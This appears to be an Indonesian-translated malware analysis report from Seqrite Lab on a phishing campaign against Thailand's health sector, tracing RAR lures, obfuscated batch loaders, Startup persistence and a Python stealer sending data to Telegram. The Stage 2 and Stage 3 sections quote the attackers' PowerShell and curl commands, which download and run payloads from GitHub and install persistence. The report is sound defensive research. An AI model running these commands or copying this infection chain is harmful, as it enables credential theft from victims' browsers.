Pelaku Ancaman Menggunakan Arsip RAR sebagai Senjata untuk Menargetkan Sektor Kesehatan Thailand

Penulis: Vaibhav Krushna Billade, Dixit Panchal & Rumana Siddiqui.

Daftar Isi

• Pengantar
• Target Utama
• Rantai Infeksi
• Temuan Awal Kampanye
• Technical Analysis
  • Tahap 1: Pengiriman Awal (Arsip RAR)
  • Tahap 2: Rouki-Obfuscated Batch Loader
  • Tahap 3: Skrip Persistensi Startup
  • Tahap 4: Eksekusi Muatan Sekunder
  • Tahap 5: Penyebaran Pencuri Informasi (sim.py)
• Kesimpulan
• Seqrite Liputan
• Indikator Kompromi (IOC)
• Pemetaan MITRE ATT&CK

Pengantar

Seqrite Lab secara aktif melacak dan menganalisis pelaku ancaman dan kampanye mereka, dengan fokus pada atribusi, analisis infrastruktur, dan taktik musuh. Sepanjang penelitian kami, kami telah mengaitkan banyak operasi dengan kelompok ancaman yang bersekutu dengan Tiongkok dan kelompok ancaman lainnya yang menargetkan entitas regional dan internasional.

Selama investigasi baru-baru ini, kami mengidentifikasi kampanye malware aktif yang menargetkan sektor kesehatan Thailand, termasuk personel Kementerian Kesehatan dan organisasi kesehatan terkait. Kampanye ini memanfaatkan umpan spear-phishing bertema kesehatan yang didistribusikan melalui arsip RAR berbahaya yang berisi skrip batch yang disamarkan dan muatan yang dapat dieksekusi. Rantai infeksi menggunakan beberapa tahap penyamaran, pengiriman muatan yang dihosting di GitHub, mekanisme persistensi, dan malware pencuri informasi yang dirancang untuk membangun pijakan di lingkungan yang ditargetkan sambil menghindari deteksi.

Target Utama

Kampanye ini terutama menargetkan personel dan departemen di seluruh ekosistem layanan kesehatan Thailand, termasuk:

• Personel Kementerian Kesehatan dan tim pengadaan kesehatan pemerintah melalui iming-iming menyamar sebagai dokumen persetujuan resmi peralatan medis.
• Staf administrasi rumah sakit melalui dokumen permintaan penerimaan pasien palsu.
• Staf klinik radiologi dan gigi ditipu melalui rekam medis palsu dan berkas permintaan rontgen.
• Departemen klinis dan radiologi melalui dokumen hasil CT scan pasien palsu.
• Tim rantai pasokan layanan kesehatan dan pengadaan peralatan medis melalui dokumen persetujuan bermerek Kementerian Kesehatan.

Tema-tema umpan tersebut menunjukkan penargetan yang disengaja terhadap fungsi-fungsi yang terkait dengan layanan kesehatan dan menunjukkan pemahaman yang kuat tentang alur kerja operasional di dalam sektor tersebut.

Rantai Infeksi

Arsip RAR → Loader BAT yang Disamarkan → Loader Payload yang Disamarkan Rouki → Skrip Persistensi Startup (WindowSecuryt.bat) → Payload Batch Sekunder (u-t2.bat) → Pencuri Informasi Berbasis Python (sim.py) → Upaya Eksfiltrasi Telegram

 

Temuan Awal Kampanye

Sampel paling awal yang diidentifikasi terkait dengan kampanye tersebut diunggah pada tanggal 7 April 2026, sedangkan sampel terbaru yang diamati diunggah pada tanggal 3 Juni 2026, menunjukkan jendela operasional aktif sekitar sepuluh minggu pada saat analisis dilakukan.

Observasi Kunci

• Semua sampel yang teridentifikasi diunggah dari Thailand, yang menunjukkan penggunaan infrastruktur transit di dalam negeri atau sistem lokal yang kurang memadai untuk distribusi.
• Pelaku ancaman menyebarkan malware melalui arsip RAR yang berisi skrip batch dan file eksekusi berbahaya yang disamarkan sebagai dokumen terkait layanan kesehatan dan pemerintahan.
• Nama file umpan dirancang khusus untuk fungsi pekerjaan tertentu, termasuk personel administrasi, klinis, radiologi, dan pengadaan, yang menunjukkan adanya pengintaian sebelumnya terhadap organisasi perawatan kesehatan atau strategi penargetan luas yang didasarkan pada pengetahuan khusus sektor tersebut.
• Semua sampel yang diamati menggunakan rantai eksekusi RAR → BAT → Payload yang konsisten, menunjukkan perangkat yang terstandarisasi dan metodologi pengiriman yang dapat diulang.

Technical Analysis

Tahap 1: Pengiriman Awal (Arsip RAR)

Vektor infeksi awal terdiri dari arsip RAR berbahaya yang berisi file batch yang dienkripsi dan berfungsi sebagai pemuat tahap pertama. Enkripsi digunakan secara ekstensif untuk menyembunyikan fungsi dan menghambat analisis statis.

Salah satu contoh yang diamati, Health_Ministry_Approved_Equipment_2026.bat, membuat file sementara yang berisi data muatan yang dikodekan dan memanfaatkan PowerShell untuk mendekode konten yang tertanam. Konten yang telah didekode kemudian ditulis ke file batch sekunder, yang selanjutnya dieksekusi.

Setelah eksekusi, artefak sementara dihilangkan untuk mengurangi bukti forensik dan mempersulit investigasi pasca-kompromi.

Penggunaan data muatan tersemat, rutinitas dekode berbasis PowerShell, dan operasi pembersihan menunjukkan upaya yang disengaja untuk menyembunyikan fungsi berbahaya dan menghindari kontrol keamanan.

Tahap 2: Rouki-Obfuscated Batch Loader

File payload.bat yang telah didekode dan dieksekusi selama Tahap 1 sangat dienkripsi menggunakan kerangka kerja yang diidentifikasi sebagai Rouki.

Analisis mengungkapkan bahwa skrip tersebut secara dinamis merekonstruksi dan mengeksekusi perintah PowerShell yang mengunduh, menyimpan, dan mengeksekusi komponen malware tambahan. Penggunaan payload yang dihosting di GitHub, ekstensi file yang menipu, dan eksekusi multi-tahap memberikan fleksibilitas operasional sekaligus mengurangi kemungkinan terdeteksi.

Perintah PowerShell 1 – Penyebaran Persisten

powershell.exe -WindowStyle Hidden -Command “[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ud-7-te/ud-vtn/raw/main/up-t2.png', 'C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSecuryt.bat');”

Perintah ini mengunduh file yang dihosting dari jarak jauh yang menyamar sebagai gambar PNG dan menyimpannya sebagai WindowSecuryt.bat di dalam folder Startup Windows.

Penempatan di dalam direktori Startup memastikan eksekusi otomatis setiap kali pengguna masuk ke sistem, sehingga menciptakan persistensi.

Perintah PowerShell 2 – Penyebaran Payload

powershell.exe -Command “[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/d7-te/vtn/raw/main/T2.zip', 'C:\Users\Public\Desktops.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\Desktops.zip', 'C:\Users\Public\Desktops'); Start-Sleep -Seconds 1; C:\Users\Public\Desktops\python C:\Users\Public\Desktops\Lib\sim.py; del C:\Users\Public\Desktops.zip”

Perintah ini mengunduh arsip ZIP, mengekstrak isinya ke direktori yang dapat diakses publik, dan mengeksekusi muatan berbasis Python yang tertanam (sim.py) menggunakan interpreter Python yang disertakan.

Setelah dieksekusi, arsip ZIP dihapus untuk meminimalkan artefak forensik dan menghambat upaya penanggulangan insiden.

Tahap 3: Skrip Persistensi Startup (WindowSecuryt.bat)

Analisis terhadap skrip WindowSecuryt.bat yang diunduh mengungkapkan bahwa skrip tersebut mengandung sejumlah besar data sampah dan logika pengaburan yang mirip dengan yang diamati pada batch loader tahap awal. Konten yang tidak berfungsi ini dimaksudkan untuk menghambat analisis statis dan menyembunyikan alur eksekusi skrip yang sebenarnya.

Saat dieksekusi, skrip melakukan pemeriksaan hak akses dan pengaturan lingkungan sebelum mencapai tahap fungsional akhirnya, di mana ia merekonstruksi dan mengeksekusi perintah berikut:

cmd /c “curl hxxps://raw.githubusercontent.com/ud-7-te/ud-vtn/main/ud-t2.txt -o C:\Users\admin\AppData\Local\Temp\u-t2.bat && call C:\Users\admin\AppData\Local\Temp\u-t2.bat”

Perintah ini menggunakan curl untuk mengunduh payload batch tambahan (u-t2.bat) dari repositori yang dihosting di GitHub dan menyimpannya di direktori sementara sistem (%TEMP%). Penggunaan jalur %TEMP% memastikan akses tulis tanpa memerlukan hak akses administrator di sebagian besar lingkungan.

Setelah pengunduhan berhasil, skrip tersebut segera mengeksekusi muatan menggunakan perintah panggilan, sehingga memungkinkan kelanjutan rantai infeksi multi-tahap.

Kombinasi antara persistensi folder Startup dan muatan berbahaya yang dapat diambil dari jarak jauh memungkinkan pelaku ancaman untuk memperbarui fungsionalitas berbahaya tanpa memodifikasi mekanisme persistensi aslinya.

Selain itu, penempatan skrip di dalam folder Startup Windows memberikan persistensi, memastikan skrip tersebut dieksekusi secara otomatis saat pengguna masuk. Hal ini memungkinkan pelaku ancaman untuk berulang kali mengambil dan mengeksekusi muatan berbahaya yang diperbarui dari infrastruktur GitHub jarak jauh tanpa memodifikasi mekanisme persistensi asli, sehingga memungkinkan kontrol yang fleksibel dan jangka panjang atas rantai infeksi.

Tahap 4: Eksekusi Payload Sekunder (u-t2.bat)

Analisis terhadap skrip u-t2.bat yang diunduh mengungkapkan bahwa skrip tersebut berisi kode sampah dan bagian yang disamarkan, mirip dengan komponen batch sebelumnya dalam rantai infeksi. Elemen-elemen yang tidak berfungsi ini muncul di awal skrip dan dimaksudkan untuk menghambat analisis statis dan menyembunyikan alur eksekusi yang sebenarnya. Logika yang bermakna tertanam lebih dalam di dalam segmen yang disamarkan ini dan hanya dapat diuraikan selama eksekusi runtime.

Skrip tersebut mencoba meluncurkan dirinya sendiri dengan hak akses yang lebih tinggi untuk mendapatkan akses tingkat lebih tinggi pada sistem.

Setelah berhasil ditingkatkan aksesnya, skrip akan melanjutkan eksekusi muatan tahap berikutnya sambil meminimalkan visibilitas pengguna.

Tahap akhir eksekusi memicu muatan (payload) berikut:

powershell.exe -WindowStyle Hidden -Command “C:\Users\Public\Desktops\python C:\Users\Public\Desktops\Lib\sim.py”

Perintah ini meluncurkan interpreter Python yang sebelumnya telah diinstal dan mengeksekusi sim.py sambil menekan jendela eksekusi yang terlihat.

Penggunaan runtime Python yang terintegrasi memungkinkan eksekusi secara independen dari instalasi Python yang ada pada sistem korban dan mengurangi ketergantungan penyebaran.

Tahap 5: Penyebaran Pencuri Informasi (sim.py)

Muatan akhir yang teridentifikasi selama analisis adalah sim.py, sebuah program pencuri informasi berbasis Python yang dieksekusi melalui lingkungan Python yang disertakan.

Setelah dieksekusi, malware tersebut menghentikan beberapa browser web, termasuk Google Chrome, Microsoft Edge, Brave, dan browser berbasis Chromium lainnya menggunakan perintah taskkill. Perilaku ini umumnya dikaitkan dengan malware pencuri informasi yang berupaya mengakses basis data browser, penyimpanan kredensial, cookie, dan artefak sesi yang mungkin terkunci oleh proses yang sedang berjalan.

Kemampuan yang Diamati

• Mengumpulkan data terkait peramban.
• Mengumpulkan kredensial dan informasi sesi yang tersimpan.
• Tahapan-tahapan tersebut mengumpulkan data dalam direktori sementara.
• Mengompres data yang dikumpulkan ke dalam arsip ZIP.
• Upaya penyusupan data dilakukan melalui infrastruktur berbasis Telegram.

Log eksekusi mengungkapkan upaya berulang untuk mengirimkan data curian ke saluran Telegram yang dikendalikan penyerang menggunakan token bot dan pengenal obrolan yang telah ditentukan sebelumnya melalui Telegram Bot API.

Permintaan eksfiltrasi tersebut mencakup metadata spesifik korban seperti:

• Pengidentifikasi sistem
• Informasi nama pengguna
• Penghitung data yang dipanen
• Referensi arsip

Meskipun upaya eksfiltrasi yang diamati gagal karena waktu habis konektivitas saat berkomunikasi dengan api.telegram.org, kombinasi pengumpulan data browser, penyiapan lokal, pembuatan arsip, dan upaya transmisi mengkonfirmasi kemampuan muatan tersebut untuk mencuri informasi.

Secara keseluruhan, malware ini menunjukkan karakteristik yang umumnya terkait dengan pencuri data berbasis Python modern, termasuk pencurian kredensial, pengambilan cookie sesi, penyiapan data lokal, pembuatan arsip, dan mekanisme eksfiltrasi berbasis Telegram.

Penggunaan pengiriman muatan yang dihosting di GitHub, utilitas sistem yang sah, pengaburan berlapis, dan eksekusi multi-tahap berkontribusi pada fleksibilitas operasional dan penghindaran pertahanan.

Kesimpulan

Seqrite Lab menilai dengan keyakinan moderat bahwa kampanye ini merupakan upaya yang ditargetkan terhadap sektor kesehatan Thailand, dengan memanfaatkan umpan rekayasa sosial bertema kesehatan, pemuat batch multi-tahap, infrastruktur muatan yang dihosting di GitHub, dan malware pencuri informasi berbasis Python.

Kampanye ini menunjukkan metodologi pengiriman yang dapat diulang yang terdiri dari arsip RAR, skrip batch yang sangat dienkripsi, persistensi melalui penyalahgunaan folder Startup, pengambilan muatan bertahap, dan upaya eksfiltrasi berbasis Telegram.

Meskipun atribusi pasti belum dapat ditetapkan berdasarkan bukti yang tersedia saat ini, konsistensi operasional yang diamati di seluruh sampel menunjukkan bahwa aktivitas tersebut dilakukan oleh satu aktor ancaman atau kelompok yang terkait erat. Pemantauan berkelanjutan terhadap infrastruktur terkait, evolusi muatan, dan viktimologi dapat memberikan wawasan tambahan tentang atribusi dan tujuan kampanye.

Organisasi di sektor layanan kesehatan harus tetap waspada terhadap kampanye phishing bertema dokumen, memantau modifikasi folder Startup yang tidak sah, dan membatasi eksekusi skrip dan biner yang tidak tepercaya yang diperoleh dari sumber eksternal.

Seqrite Cakupan:

• Script.Trojan.Downloader.50836.GC
• cld.script.trojan.1759432951

Indikator Kompromi (IOC):

File Name	SHA256
Peralatan_yang_Disetujui_Kementerian_Kesehatan_2026.rar	E5F6D9D405819E6B05B5D8268A2E973294859AD65237EDE36AB612B536D0AC2B
Peralatan_yang_Disetujui_Kementerian_Kesehatan_2026.bat	4EEBC38297A307D18784D6F9EBC8AA6E6F69860BE970CC70D9E544DEB1FF6CE0
payload.bat	F4D4B8CAC004BB63834C6DF436721BABD9464C09787C80B268D839E0AADA9F87
WindowSecuryt.bat	74BB6AD7E1310F30A3E24FD3CBBFFA2C0C41C64E89E5D0DD1D6900E96B914183
u-t2.bat	7709D8C34D490509F3624104611EB75A862944DD9D7A642F44514ADA16C85EE9
Desktop.zip	523388567630E4FBDC359F75232BF2AD82671A680D4BFDCE0237FC30DFEC4C80
Pencuri (SIM.PY)	442E0F4E822842922E7E4685840194E99FD68C7F0EC38C1925914B8F724D5865

 

Pemetaan MITRE ATT&CK:

Taktik	Nama Teknik	ID Teknik
Akses Awal	Phishing: Lampiran Spear Phishing	T1566.001
Execution	Penerjemah Perintah dan Skrip: Windows Command Shell	T1059.003
	Penerjemah Perintah dan Skrip: PowerShell	T1059.001
	Eksekusi Pengguna: File Berbahaya	T1204.002
Penghindaran Pertahanan	File atau Informasi yang Dikaburkan	T1027
	Menyamar (BAT menyamar sebagai PNG/TXT)	T1036
	Penghapusan Indikator pada Host: Penghapusan File	T1070.004
Ketekunan	Kunci Jalankan Registri / Folder Startup	T1547.001
	Eksekusi Terjadwal melalui Folder Startup	T1547
Eskalasi Privilege	Mekanisme Kontrol Peningkatan Penyalahgunaan	T1548
penemuan	Pemilik Sistem/Penemuan Pengguna	T1033
Akses Kredensial	Kredensial dari Toko Kata Sandi	T1555
	Kredensial dari Peramban Web	T1555.003
Koleksi	Arsipkan Data yang Dikumpulkan	T1560
	Data dari Sistem Lokal	T1005
	Data dari Repositori Informasi	T1213
Komando dan Pengendalian	Transfer Alat Ingress (payload yang dihosting di GitHub)	T1105
	Protokol Lapisan Aplikasi: Protokol Web (HTTPS)	T1071.001
	Proksi Melalui Layanan Resmi (GitHub)	T1102
exfiltration	Eksfiltrasi Melalui Layanan Web (API Bot Telegram)	T1567
	Eksfiltrasi ke Penyimpanan Cloud/Layanan Web	T1567.002